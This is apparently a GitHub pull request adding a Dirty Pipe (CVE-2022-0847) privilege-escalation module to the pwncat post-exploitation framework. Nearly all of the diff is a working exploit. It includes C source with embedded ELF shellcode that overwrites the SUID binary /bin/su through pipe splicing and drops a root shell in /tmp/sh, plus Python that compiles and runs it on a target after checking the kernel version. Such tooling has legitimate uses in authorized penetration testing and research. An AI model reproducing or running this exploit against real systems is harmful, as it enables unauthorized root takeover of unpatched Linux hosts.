Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding dirtypipe module for escalate. #247

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
239 changes: 239 additions & 0 deletions pwncat/modules/linux/enumerate/escalate/dirtypipe.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,239 @@
#!/usr/bin/env python3

import textwrap
import subprocess
from io import StringIO
from subprocess import CalledProcessError

from pwncat import util
from pwncat.facts import EscalationReplace
from pwncat.channel import ChannelError
from pwncat.manager import Session
from pwncat.modules import ModuleFailed
from pwncat.platform import PlatformError
from pwncat.platform.linux import Linux
from pwncat.modules.enumerate import EnumerateModule
from pwncat.modules.linux.enumerate.system.uname import KernelVersionData


class DirtyPipeExploit(EscalationReplace):
"""Escalate using the dirty pipe exploit"""

def escalate(self, session: Session):

# Write the ELF source code
dirtypipez_source = textwrap.dedent(
f"""
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
unsigned char elfcode[] = {{
0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
}};
static void prepare_pipe(int p[2])
{{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {{
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}}
for (unsigned r = pipe_size; r > 0;) {{
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}}
}}
int hax(char *filename, long offset, uint8_t *data, size_t len) {{
const int fd = open(filename, O_RDONLY);
if (fd < 0) {{
perror("open failed");
return -1;
}}
struct stat st;
if (fstat(fd, &st)) {{
perror("stat failed");
return -1;
}}
int p[2];
prepare_pipe(p);
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {{
perror("splice failed");
return -1;
}}
if (nbytes == 0) {{
fprintf(stderr, "short splice\\n");
return -1;
}}
nbytes = write(p[1], data, len);
if (nbytes < 0) {{
perror("write failed");
return -1;
}}
if ((size_t)nbytes < len) {{
fprintf(stderr, "short write\\n");
return -1;
}}
close(fd);
return 0;
}}
int main(int argc, char **argv) {{
char *path = "/bin/su";
uint8_t *data = elfcode;
int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);
printf("[+] hijacking suid binary..\\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {{
printf("[~] failed\\n");
return EXIT_FAILURE;
}}
printf("[+] dropping suid shell..\\n");
system(path);
printf("[+] restoring suid binary..\\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {{
printf("[~] failed\\n");
return EXIT_FAILURE;
}}
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\\n");
system("/tmp/sh");
return EXIT_SUCCESS;
}}
"""
).lstrip()

# TODO: Use this instead of hardcoding the elfcode array so it can work on other architectures.
elf_code_source = textwrap.dedent(
f"""
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {{
setuid(0); setgid(0);
seteuid(0); setegid(0);
char *args[] = {{ "/bin/sh", NULL }};
execve("/bin/sh", args, NULL );
}}
"""
).lstrip()

# Compile dirtypipez exploit binary
try:
# OK, you should never static link glibc, but since pwncat has a bug
# in its compile targeting we need to make sure the rootshell won't
# have glibc compat issues. Caleb is aware of the issue.
rootshell = session.platform.compile(
[StringIO(dirtypipez_source)],
cflags=["-static", "-s"],
output="/tmp/" + util.random_string(),
)
except PlatformError as exc:
raise ModuleFailed(
f"compilation failed for dirtypipez exploit: {exc}"
) from exc
except ChannelError as channel_exc:
raise ModuleFailed(
f"Channel error during compilation process: {channel_exc}"
) from channel_exc

try:
proc = session.platform.Popen(
[rootshell],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)

proc.detach()

# Return a callable to exit this escalation
return lambda session: session.platform.channel.send(b"exit\n")
except CalledProcessError as exc:
raise ModuleFailed(f"privesc failed: {exc}") from exc
finally:
# Remove the rootshell
session.platform.Path(rootshell).unlink()

def title(self, session: Session):
return f"""escalate to root via dirtypipez (cve-2022-0847)"""


class Module(EnumerateModule):
"""
Exploit CVE-2022-0847 (dirtypipez) for local privilege escalation to root.
Based on original PoC at https://haxx.in/files/dirtypipez.c
"""

PROVIDES = ["escalate.replace"]
PLATFORM = [Linux]

def enumerate(self, session: Session):

try:
version: KernelVersionData = session.run(
"enumerate", types=["system.kernel.version"]
)[0]
except IndexError:
session.log("failed to retrieve kernel version")
return

# Versions that are patched
if version.major != 5:
return
elif (
version.minor < 8
or (version.minor == 10 and version.patch > 102)
or (version.minor == 15 and version.patch >= 25)
or (version.minor == 16 and version.patch >= 11)
):
return

yield DirtyPipeExploit(self.name, session.current_user().id, 0)